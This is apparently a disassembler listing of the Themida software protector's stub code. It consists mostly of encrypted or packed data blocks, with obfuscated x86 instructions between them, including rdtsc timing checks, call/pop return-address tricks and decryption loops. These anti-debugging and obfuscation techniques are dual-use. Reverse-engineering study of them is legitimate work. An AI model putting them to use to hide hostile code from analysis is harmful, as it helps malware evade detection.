0AF582B5Eh dd 0F99A0B24h, 9ABB64B4h, 0C7804AD7h, 0DCAF582Fh, 9AAF0B9h dd 3DFE236Ah, 5886249Fh, 119EDB77h, 23569018h, 0E1B60040h dd 0E557F036h, 2547A85Eh, 1356FB6Ch, 0D11B9D8Eh, 6D2448ABh dd 0DEAD3DCBh, 7197BCAAh, 0DF79B1CBh, 0E04BBCAAh, 0AADEE226h dd 9E77A0BCh, 0ADE48768h, 5DFEE10Bh, 8298A10h, 0FEF1A345h dd 0C4E7EC7Ch, 2C77Bh, 0D59CBB00h, 441EE51h, 327B1D86h dd 62274BF4h, 97DA7B24h, 2DE59413h, 5AC5410Ch, 8E317538h dd 0C063A7EEh, 0D656D49Dh, 36B6F214h, 4E8CB603h, 135EFFE1h dd 7FEF6997h, 3B1BFF37h, 92B17EBAh, 47812FDBh, 0AF58B243h dd 94B51601h, 0CEF55FD9h, 0F1155CFFh, 0C3769367h, 76D7F648h dd 0B31098D5h, 0F09253F2h, 9846C4BDh, 0DE5A1737h, 0AA50EB49h dd 64A4E60Ch, 5EAF57F7h, 0FAA5A3F5h, 0C8B60001h, 0FE24C26Fh dd 24C4Ch, 0C51D36B6h, 7B9C3CDEh, 489E1A0Ah, 0B5FFE34Ch dd 10228368h, 1477DE24h, 3BC3h, 0B5E76400h, 5BF7D80Eh dd 0D73BA7FFh, 0A982E7F3h, 5F851304h, 0E3A2Dh, 0FB2F08B6h dd 0DEF2B5Dh, 0F2D5B600h, 892F185Dh, 0DD4D01Ah, 1BF0B600h dd 0E1AC989Ah, 374B1477h, 0DC000000h, 0AEEA1CBAh, 94AF57D6h dd 0ACEB7DBBh, 0EFAF57D6h, 86D0F64Dh, 2D728B04h, 866CCC14h dd 0FFE68944h, 36587BB5h, 0CE5367Bh, 0CC6F50BEh, 0FD226B0Dh dd 3D6EB3ACh, 0B5E7B0FBh, 2B6B2BEFh, 6D465FB7h, 0C1A40FB9h dd 0B59EB600h, 0C68FAE11h, 7BE84059h, 0C1B3F3h, 0BB64CFB6h dd 7739C3BFh, 322A14h, 963C0000h, 0CA3474h, 0F3250EB6h dd 0D75EA6A8h, 0FF5DAF57h, 6964A644h, 5BB5FFE4h, 264CAAF0h dd 0FFE4A4E4h, 0CE789EB5h, 0B5FFE4CAh, 45A69FB8h, 0DBC06825h dd 5EBA30BAh, 90FF01B8h, 962D8F18h, 30C3D670h, 9681B603h dd 0A5EC8F70h, 5E9FBE61h, 1257FB3Ah, 0CAA3F439h, 2953F965h dd 0B60330F1h, 742F0D3h, 9F3D8A2Eh, 0EEC78AACh, 25D5BE38h dd 58621A85h, 0C802EF73h, 50D8F539h, 0EF836C8Ah, 0B31405AAh dd 5851DE93h, 3A8016D0h, 0E942BCAEh, 82C973Dh, 3A81B941h dd 0E843BCAEh, 1A399A40h, 274CB753h, 4CEC3D62h, 773E5DC6h dd 8833612Ah, 54212852h, 0DCC7C356h, 96B8F0B9h, 8A530BBDh dd 0B675E5D1h, 0BFCDh, 0DD94B300h, 0C49E649h, 3A7315BEh dd 6A2F43ECh, 9FD273DCh, 25ED8C0Bh, 52FD4904h, 86297D30h dd 0B81BAFE6h, 0DE4EDC95h, 38BEFA0Ch, 4684B603h, 0EFB5E7D9h dd 0CCBF7ABFh, 54FA6B10h, 0A29B8C11h, 1F30C204h, 3912B603h dd 0DFC06EF4h, 71AAF7B2h, 31F5149h, 901833B6h, 80AD6C0Fh dd 564F58C5h, 85CC6FD0h, 62A4C218h, 0B6031F26h, 4C4CFE1Ch dd 36B6031Fh, 72F4241Dh, 2C9E21ADh, 82CE57C4h, 0E54A0321h dd 0F30D8355h, 7F68DCC9h, 9ED77639h, 61E58768h, 9E10E327h dd 9D76A12Ch, 6F0EB11Bh, 826DF926h, 1506ABE2h, 33761C83h dd 0E1426BEEh, 0B4F2BBDAh, 0FC21680Bh, 303h, 0CBB02600h dd 8C1158FFh, 0F4397013h, 0E340092Bh, 0C06D2042h, 2E733E5Fh dd 1499D475h, 7DA2E78Bh, 60CD84A4h, 4AD792BFh ; --------------------------------------------------------------------------- cli push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], ebp push edx mov edx, 0F261E89h and edx, 705F0D27h sub edx, 3C7E5CCFh or edx, 20D365E4h shl edx, 1 and edx, 11B91251h sub edx, 0FAFDCD98h mov eax, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push 6D4Bh mov [esp], eax sub dword ptr [esp], 60B5474Bh pop dword ptr [ebp+8] add dword ptr [ebp+8], 60B5474Bh push dword ptr [esp] pop ebp add esp, 4 mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5517CE ; --------------------------------------------------------------------------- dw 40FEh ; --------------------------------------------------------------------------- js short locret_57FE4A loc_57FDDA: ; CODE XREF: Themida_:loc_57DDDEj mov eax, 6AB6330h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 5Ah dd 0EF106D03h, 0B002C9E8h, 0DF70E816h, 0C1CCA96h, 0D72BCA7Ah dd 0BD11C50Ah, 8861CAE3h, 8D4407D8h, 0E834325Ch, 6, 714B9ACCh dd 0B9581B26h, 7D1349DEh, 6392C081h, 6E90000h, 93000000h dd 19EB38C2h, 18B9BFE4h, 37B20000h, 0CE8188Bh, 12000000h dd 6846DB38h, 552200E0h, 66C90A0Dh, 0E8CAE281h db 5Eh, 81h ; --------------------------------------------------------------------------- locret_57FE4A: ; CODE XREF: Themida_:0057FDD8j retn ; --------------------------------------------------------------------------- db 0D4h ; Ô db 0E8h ; è db 7Eh ; ~ db 63h ; c db 0E9h ; é db 0Eh db 0 db 0 db 0 dd 0A8F470AFh, 5B822D09h, 9C066C93h, 0F3816654h, 0CFCD2E7h dd 7E9h, 2E52800h, 0E534415h, 21AFC381h, 0FB553B2h, 0C2811889h dd 5651CD29h, 1931E881h, 800F6C7Fh, 3, 81F2BF0Fh, 7F192DC0h dd 516CBE6Ch, 0F4F13BDh, 0FFFF8B85h, 14E9FFh, 11E00000h dd 0B55AA670h, 97EA394Ah, 9E5EC052h, 0C9709ACBh, 12E80C8Fh dd 3F000000h, 128A7F01h, 547B110Dh, 0CA5300B7h, 6DCBB785h dd 815BF5D5h, 500922C6h, 0FAC38106h, 0F5000058h, 161F68h dd 12E800h, 0E3B50000h, 14A29061h, 6FA97C25h, 278A0218h dd 6328507Fh ; --------------------------------------------------------------------------- pop ecx pop eax loc_57FF02: ; CODE XREF: Themida_:0057FF3Cj push dword ptr [ebx] adc ecx, 30849DB6h pop edx mov ecx, 161DC819h sub edx, 2F9ED471h movsx ecx, cx add edx, 4F8CC529h mov cx, di add edx, 0E38EDF9h movsx ecx, cx mov [ebx], edx mov edi, 191034E0h sub ebx, 4 cmc sub eax, 1 jnz loc_57FF02 movzx ecx, si jmp loc_58034A ; --------------------------------------------------------------------------- align 4 db 0 align 2 a3anInternalExc db '3An internal exception occured (Address: 0x%x)',0Ah db 0Dh,'Please, contact support@oreans.com. Thank you!',0 align 10h dd 25h dup(0) db 2 dup(0) word_580046 dw 0 ; DATA XREF: ___:off_43285Co ; ___:00432864o ... dd 0BDh dup(0) dd offset loc_55FFFF+1 dd offset dword_445750+0A8B0h dd 0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_58034A: ; CODE XREF: Themida_:0057FF45j jmp loc_581482 ; --------------------------------------------------------------------------- push 0 push edx call sub_58035A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58035A proc near ; CODE XREF: Themida_:00580352p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_58035A endp ; --------------------------------------------------------------------------- mov ds:257DA5BDh, al or ecx, [ebp+9] jmp loc_58037E ; --------------------------------------------------------------------------- db 0C8h ; --------------------------------------------------------------------------- rol dword ptr [ebx-63049C83h], cl loc_58037E: ; CODE XREF: Themida_:00580372j mov eax, [ebp+6A8069Dh] sub [ebp+6A80E65h], eax cmp [esp+4], eax jnz loc_580412 pusha jl loc_5803A1 mov eax, [ebp+6A82F0Dh] loc_5803A1: ; CODE XREF: Themida_:00580395j sub edi, [ebp+6A82261h] popa cmp dword ptr [ebp+6A80A99h], 0 jz loc_580412 push 0 push esi call sub_5803C0 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5803C0 proc near ; CODE XREF: Themida_:005803B8p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5803C0 endp ; --------------------------------------------------------------------------- mov dh, 0A2h or al, [ecx] lea eax, [ecx+31h] test al, 6 mov [ebp+6A826A5h], ecx lea eax, [ebp+6A83AC3h] jnp loc_5803F1 xor [ebp+6A82C71h], edi loc_5803F1: ; CODE XREF: Themida_:005803E5j jmp eax ; --------------------------------------------------------------------------- push 0 push ecx call sub_5803FE and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5803FE proc near ; CODE XREF: Themida_:005803F6p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5803FE endp ; --------------------------------------------------------------------------- dw 4231h db 50h, 35h ; --------------------------------------------------------------------------- loc_580412: ; CODE XREF: Themida_:0058038Ej ; Themida_:005803AFj mov eax, [ebp+6A80D2Dh] push 0 push ecx call sub_580423 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580423 proc near ; CODE XREF: Themida_:0058041Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_580423 endp ; --------------------------------------------------------------------------- db 82h dd 0CB6229D8h, 0E840Fh, 89600000h, 0A8218995h, 1FC28106h dd 616C0CBEh, 4244439h, 64850Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 8E0F4FC3h dd 8, 2860Fh, 61600000h, 693985C7h, 106ABh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8960F1C3h, 0A81411BDh, 0DD858B06h, 6106A81Eh, 16D98501h dd 96006A8h, 0A825A19Dh, 0AE906h, 85890000h, 6A82985h dd 0 ; --------------------------------------------------------------------------- mov eax, 1 loc_5804D5: ; CODE XREF: Themida_:005804DDj xchg eax, [ebp+6AB6ABFh] or eax, eax jnz short loc_5804D5 push dword ptr [ebp+6A815D5h] pop dword ptr [ebp+6AB6931h] push 20h push 0FFFFFFFFh call dword ptr [ebp+6A80F89h] cmp dword ptr [ebp+6A80629h], 0 jz short loc_580506 push 0 call dword ptr [ebp+6A81B31h] loc_580506: ; CODE XREF: Themida_:005804FCj cmp dword ptr [ebp+6A81FE5h], 1 jz short loc_58051C push 80h push 0FFFFFFFFh call dword ptr [ebp+6A80F89h] loc_58051C: ; CODE XREF: Themida_:0058050Dj stc push 0 push edx call sub_580528 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580528 proc near ; CODE XREF: Themida_:00580520p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_580528 endp ; --------------------------------------------------------------------------- dd 0AE7EFCA3h, 13E9h, 0EF612800h, 139038D1h, 1A1A5A3Dh dd 0EC71F15Ah, 0B11F510Eh, 8D89C02Bh, 6A80031h, 2824548Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B0C35242h dd 7D858963h, 6A06A80Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0FB19C357h, 0E9D1C242h dd 6, 3532564Bh, 0F6017E0h, 689h, 75B50100h, 8906A833h dd 0A83191B5h, 3CBE6106h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 7661C355h dd 68E0Fh, 95010000h, 6A821E1h, 24247403h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 39C35545h, 0AD9D29C3h dd 6606A82Ah, 75BD89ADh, 306A831h, 6A242444h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 2900C357h, 892021FAh, 8509DD67h, 6A82FD9h, 60525050h dd 0DE8h, 1828FF00h, 87250165h, 3C1F263Dh, 52586E00h, 310F615Ah dd 14E9h, 0B7A50F00h, 0FD75EEBh, 0EC40F21Dh, 0A35B72EFh dd 0CAA42196h, 89585AA0h, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 8D8993C3h, 6A806F1h dd 6A78408Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0E9BCC352h, 0Eh, 9916B9EFh, 0B3996E4Bh dd 9CE40A56h, 8D0F01B2h, 6, 1A758589h, 0BD8306A8h, 6AB6939h dd 0FA850F00h, 0F000000h, 18Ah, 8529FC00h, 6A80E4Dh, 60525090h dd 13E8h, 0AFBB7B00h, 41AECAF2h, 0FF21241h, 0F71D320Eh dd 8513B8B8h, 0F52505Fh, 61585A31h, 0BA60310Fh, 61BA5D5Dh dd 61D18B66h, 0F50585Ah, 1082h, 0BE900h, 0C4860000h, 0C064A044h dd 0C464D430h, 6A90F2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 9E8439C3h, 519589F5h, 8B06A801h dd 6A2C2444h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8984C356h, 0A833459Dh, 8A0F9006h dd 12h, 52505250h, 585A310Fh, 5250310Fh, 585A310Fh, 6050585Ah dd 0C28A5853h, 85299061h, 6A819F5h, 3C37858Dh, 8C0F06ABh dd 6, 9019D01h, 0D0FF06A8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 69C35747h, 24440317h, 8E928h, 0C14D0000h dd 63ED9637h, 408B3DABh, 55006A18h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 38202A1Eh, 6A400179h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0A017C353h, 840AF6B1h, 60602131h, 2DA58D0Bh dd 0B52306A8h, 6A81FA5h, 61D4B561h, 69358589h, 0B58906ABh dd 6A806B1h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 78708B0Ah, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 62C35747h, 0F9237207h, 6A1CC683h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0C531C355h, 719529F5h, 9606A80Fh, 19919589h dd 7C8106A8h, 2424h, 870F1000h, 0C9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 4CC35141h, 0E58D898Ch, 906A82Fh dd 0A80FC185h, 66605006h, 0F08BF98Bh, 24048961h, 24448BF5h dd 1890F28h, 0F5000000h, 8850F90h, 0F000000h, 281h, 50616000h dd 0CE95250h, 0A2000000h, 0BC3EC211h, 6314E0h, 0FFFC44Fh dd 6E931h, 403D0000h, 3D740481h, 0FC90585Ah, 3C37858Dh dd 0FFFC06ABh, 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0D76A8EB9h, 0E96090FBh dd 0Ah, 1DC80C42h, 6602745h, 8166B448h, 61A39DEAh, 10E9h dd 0C4075400h, 43E78877h, 1A3B97D9h, 32E06A11h, 6A96EFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 800F05C3h, 1, 12E9F5h, 0B0F20000h, 8F324078h, 0CAC087Fh dd 59CEDE92h, 7711F1FAh, 24247403h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 77C35646h, 0BDDFE7C4h, 625BD3C0h dd 0A5B58B60h, 6106A82Dh, 0E850Fh, 9E90000h, 1000000h dd 0A94955C6h, 0C11374F2h, 317DBD8Dh, 6A06A8h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 32374DC3h, 0DD11F76Ch, 0A860FDEh, 60000000h, 5F90D6BAh dd 0D4D5800Eh, 14E86061h, 0B9000000h, 29682F6h, 6D482528h dd 0F72E69E4h, 97B38893h, 0F9E6665h, 0E958F9BFh, 5, 4BC42A5h dd 60AD6141h, 24ED8D03h, 9D8B06A8h, 6A81B29h, 13E961h dd 0BB20000h, 9722FA60h, 5E928C5Ah, 0CC7649B8h, 0C82AF691h dd 247C81DBh, 24h, 23870F10h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0C030C350h dd 608AC60Ch, 8BF28B66h, 0A80685B5h, 0E9906106h, 6, 5DE8B81h dd 50500E12h, 10E952h, 0A6800000h, 1A043F6Ah, 0B8DB5A24h dd 63863F5Ch, 310FBD3Ah, 2830Fh, 61600000h, 6A90585Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0FFCDC351h, 0F4945B7h, 68Ah, 25B50900h, 8B06A832h dd 6A282444h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 9819C357h, 8F0FA7AEh, 16h, 11E9h dd 0B7154700h, 1F65B65Bh, 71557E65h, 3EF15188h, 896099D1h dd 0A82691BDh, 5061FC06h, 14E9h, 0C3A78700h, 2614354Eh dd 83157B80h, 401CB31Fh, 83824576h, 24048922h, 5E9h, 5EAA6700h dd 858D6AC0h, 6AB3C37h, 0A2CA8160h, 8979BE86h, 0A8314995h dd 0D0FF6106h, 11E9h, 0DA4FF600h, 0B595A243h, 533B3EFBh dd 0EAC41C57h, 44035AF4h, 8E0F2424h, 6, 17559D01h, 0F5AB06A8h dd 0FA81h, 820F0001h, 69Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 60C35242h, 0DE960h, 0D2540000h, 0AAAF433Dh dd 0A125B356h, 61A9252Bh, 1445BD8Dh, 316006A8h, 0A82B5DBDh dd 0AF08106h, 615C0592h, 13E9ADh, 4ED60000h, 4044E472h dd 73D45D0Eh, 6E1225CAh, 0F358C5C2h, 247C815Ch, 24h, 61870F10h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 615DC353h, 1248C48Ah, 0E9609EF3h dd 0Ah, 534A5FAh, 0DDE8E080h, 0B9664C6Fh, 29614534h, 0A8077995h dd 52509006h, 14E9h, 0BBC9F400h, 0CDF2D875h, 1C30983Bh dd 5136DC2Fh, 580C3217h, 60310FD0h, 890Fh, 0B3BF0000h dd 61102F9Bh, 0F50585Ah, 1E87h, 0E9525000h, 0Dh, 2B911B7Fh dd 0ACE899F5h, 0B10E96Ch, 50310F0Eh, 5A310F52h, 90585A58h dd 12E9h, 99055F00h, 511DFC18h, 74DF284Ch, 0E77AAC6Eh dd 8B6967E5h, 6A282444h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0DD53C352h, 0E9525090h dd 0Eh, 0E59EB0C8h, 0A765F78h, 0CEB40704h, 310FB157h, 68D0Fh dd 52500000h, 585A310Fh, 0E950585Ah, 9, 56757118h, 9719FC34h dd 0CE9907Bh, 0F6000000h, 64C426A0h, 459B75B4h, 8D5967D5h dd 0AB3C3785h, 459D0106h, 0F06A80Eh, 1880h, 12840F00h dd 0E9000000h, 0Dh, 2BE47770h, 0F866975Eh, 33821518h, 6AD0FFC3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 2312C351h, 0BD89F949h, 6A82D81h, 24244403h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F0C35646h dd 3FF10025h, 11E950F5h, 0B000000h, 3A4243BAh, 0FCD598C6h dd 9A50A1A8h, 1B635D57h, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 897AC350h dd 0A80D2185h, 158D2906h, 0E906A811h, 12h, 0C6AD516h, 6911EB70h dd 0DC9B26F1h, 46AF8FE2h, 6AAB6C34h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 9027C357h dd 9670A1C8h, 0BD8DF420h, 6A813F9h, 0F6D9589h, 870F06A8h dd 7, 1810Fh, 0ADF50000h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 94C35040h, 247C8106h, 28h, 0B5870F10h dd 0F9000000h, 12E950F9h, 82000000h, 4CAF356Bh, 0E5FDB3AEh dd 0E42CE1C5h, 0E50FAF8Eh, 240489DFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 36C35545h, 0BE655F3Dh, 8589D9CCh dd 6A8210Dh, 2C24448Bh, 0C860Fh, 890F0000h, 6, 17819D09h dd 0E95006A8h, 13h, 808D583Fh, 0C79B7F98h, 0A6D43AE8h dd 71D8FAB6h, 8940ED35h, 8DFC2404h, 0AB3C3785h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0F15CEA5Ch, 0A8C0Fh, 0B0600000h, 0B5BD89F4h, 6106A80Eh dd 9531D0FFh, 6A822D9h, 28244403h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 34C35242h, 9E1FF8F3h, 7E9DAh dd 89320000h, 0CD950A41h, 559D3194h, 0AB06A82Eh, 1840Fh dd 5EFC0000h, 69358DFFh, 0BD8306ABh, 6AB6935h, 330A7500h dd 26B58DC0h, 0FF06AB78h, 81AD56E6h, 28247Ch, 77100000h dd 448B500Eh, 8D502C24h, 0AB3C3785h, 3D0FF06h, 97282444h dd 858ADF8Bh, 6AB6931h, 474C084h, 4C75073Ah, 0AEC03257h dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 0E7D85FFh dd 5DE906A8h, 5EFFFFFFh, 2B89BD89h, 6A06A8h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8BB577C3h dd 0A80E7D85h, 0D78B6006h, 6AE0D161h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0D479C356h dd 30F48060h, 5E8h, 2EB7C200h, 8D0FC6B5h, 0 ; --------------------------------------------------------------------------- pop ebx popa add eax, [ebp+6A813F9h] push 0 push ecx call sub_5810BF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5810BF proc near ; CODE XREF: Themida_:005810B7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5810BF endp ; --------------------------------------------------------------------------- and al, 0EFh fisub dword ptr [ebx+2Eh] leave mov esi, 0 mov [ebp+6A8159Dh], edi xchg eax, esi xor [ebp+6A80831h], edx lodsw push 0 push edx call sub_5810F4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5810F4 proc near ; CODE XREF: Themida_:005810ECp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5810F4 endp ; --------------------------------------------------------------------------- retf 0D590h ; --------------------------------------------------------------------------- shl eax, 2 cld cmc add eax, [ebp+6A8317Dh] pusha add eax, [ebp+6A81F61h] mov [ebp+6A81505h], ecx popa xchg eax, esi push 0 push esi call sub_58112C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58112C proc near ; CODE XREF: Themida_:00581124p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_58112C endp ; --------------------------------------------------------------------------- dd 0F6093EFh, 890FD1B7h, 6, 8C0Fh, 0AD610000h, 0FE9h, 0DCBF9400h dd 9D9195E6h, 47D5A5E5h, 67529C84h, 24247C81h, 10000000h dd 9B870Fh, 61600000h, 60525050h, 0C52D37BBh, 615E5603h dd 8D0F310Fh, 6, 310F5250h, 585A585Ah, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 858AC357h, 8B2BE377h, 29282444h, 0A806E585h, 8C0F5006h dd 0Eh, 890F5250h, 0 dd 6160310Fh, 489585Ah, 9589F824h, 6A82149h, 3C37858Dh dd 0BD2906ABh, 6A80BB5h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 3174CEC3h, 0A801F185h dd 24440306h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0D11C73Ah, 89FC768Eh, 601C2444h dd 0BD8926B1h, 6A80589h, 0D585C661h, 6A815h, 6ABF85C7h dd 6ABh, 85C70000h, 6AB6939h, 0 ; --------------------------------------------------------------------------- sub [ebp+6A82879h], edi jmp loc_581275 ; --------------------------------------------------------------------------- cmp al, 7Ah pop ss xchg eax, ebp dec eax std cld xor [eax-0Dh], dl aam 39h or al, 69h loc_581275: ; CODE XREF: Themida_:00581262j popa jle locret_58127D cmc locret_58127D: ; CODE XREF: Themida_:00581276j retn 8 ; --------------------------------------------------------------------------- pusha jmp loc_58128B ; --------------------------------------------------------------------------- dw 0BBE2h ; --------------------------------------------------------------------------- aam 41h scasd loc_58128B: ; CODE XREF: Themida_:00581281j jmp loc_58129E ; --------------------------------------------------------------------------- dd 0E06C55BBh, 0EFC72824h, 14127BA7h ; --------------------------------------------------------------------------- aad 50h loc_58129E: ; CODE XREF: Themida_:loc_58128Bj popa mov eax, [ebp+6A8317Dh] push 0 push ebp call sub_5812B0 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5812B0 proc near ; CODE XREF: Themida_:005812A8p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5812B0 endp ; --------------------------------------------------------------------------- dd 5EA79C27h, 0E32A333Bh, 0F4A00ECh, 681h, 0D08A6000h dd 60615A51h, 60524EB6h, 6B615B61h, 6A04D2h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 464AC0C3h dd 8B60C0F9h, 0A815FD9Dh, 0D1BD8B06h, 6106A80Fh, 0BD31C203h dd 6A80AD1h, 6E996h, 0E2B80000h, 61CFC593h, 0D8B360ADh dd 6890Fh, 9D8B0000h, 6A82975h, 247C8161h, 24h, 8870F10h dd 60000001h, 0DE9h, 6EF3E200h, 80B7D4B1h, 0F5B4E4A2h dd 5061806Ch, 0EE9h, 0BD12000h, 0EBB6C939h, 414B4A6Fh dd 893B4BF4h, 8BF92404h, 6A282444h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 6832C350h dd 0CCD29D2Ch, 0E70619ADh, 12E960h, 62230000h, 1F1A610Dh dd 9D937A80h, 0BDC2367Fh, 907BF05h, 13E8h, 0B2161000h dd 0C68B2923h, 4CFD58CFh, 3CA38994h, 342E5424h, 17718D8Bh dd 615906A8h, 0BE9h, 4F0FB900h, 3627AB5Dh, 0E89D123Ah dd 9E990h, 41AD0000h, 0BAF195C6h, 5020E6C1h, 8F0F5250h dd 6, 8E0Fh, 310F0000h, 61605250h, 5250310Fh, 585A310Fh dd 585A585Ah, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 8D47C886h, 0AB3C3785h, 29953106h dd 0FF06A81Eh, 8F0F60D0h, 6, 59D852Bh, 0E96106A8h, 0FFFFFDBDh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0F4C35242h dd 0A9D228E9h, 0CE915h, 67920000h, 0F30DB41Ch, 4F9B87E3h db 0A9h, 48h ; --------------------------------------------------------------------------- loc_581482: ; CODE XREF: Themida_:loc_58034Aj lea eax, [ebp+6AB7E2Eh] jmp loc_58149D ; --------------------------------------------------------------------------- pop ds mov ebx, 20EC0373h push 0FFFFFFA9h popf dec ebp fild dword ptr ds:88873A0Dh loc_58149D: ; CODE XREF: Themida_:00581488j push eax jo loc_5814B6 push eax push edx push eax push edx rdtsc pop edx pop eax rdtsc push eax push edx rdtsc pop edx pop eax pop edx pop eax loc_5814B6: ; CODE XREF: Themida_:0058149Ej mov [esp], eax push 0 push esi call sub_5814C4 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5814C4 proc near ; CODE XREF: Themida_:005814BCp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5814C4 endp ; --------------------------------------------------------------------------- push eax adc eax, eax mov [ebp+6A82D79h], ebx push large dword ptr fs:0 mov [ebp+6A81C09h], ebx mov eax, [esp] push 0 push edx call sub_5814F8 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5814F8 proc near ; CODE XREF: Themida_:005814F0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5814F8 endp ; --------------------------------------------------------------------------- mov [ecx+0Ah], eax jmp loc_581521 ; --------------------------------------------------------------------------- dd 0D7640560h, 0E3BFC105h, 0B56DAB73h, 9CBF54C3h db 0DFh ; 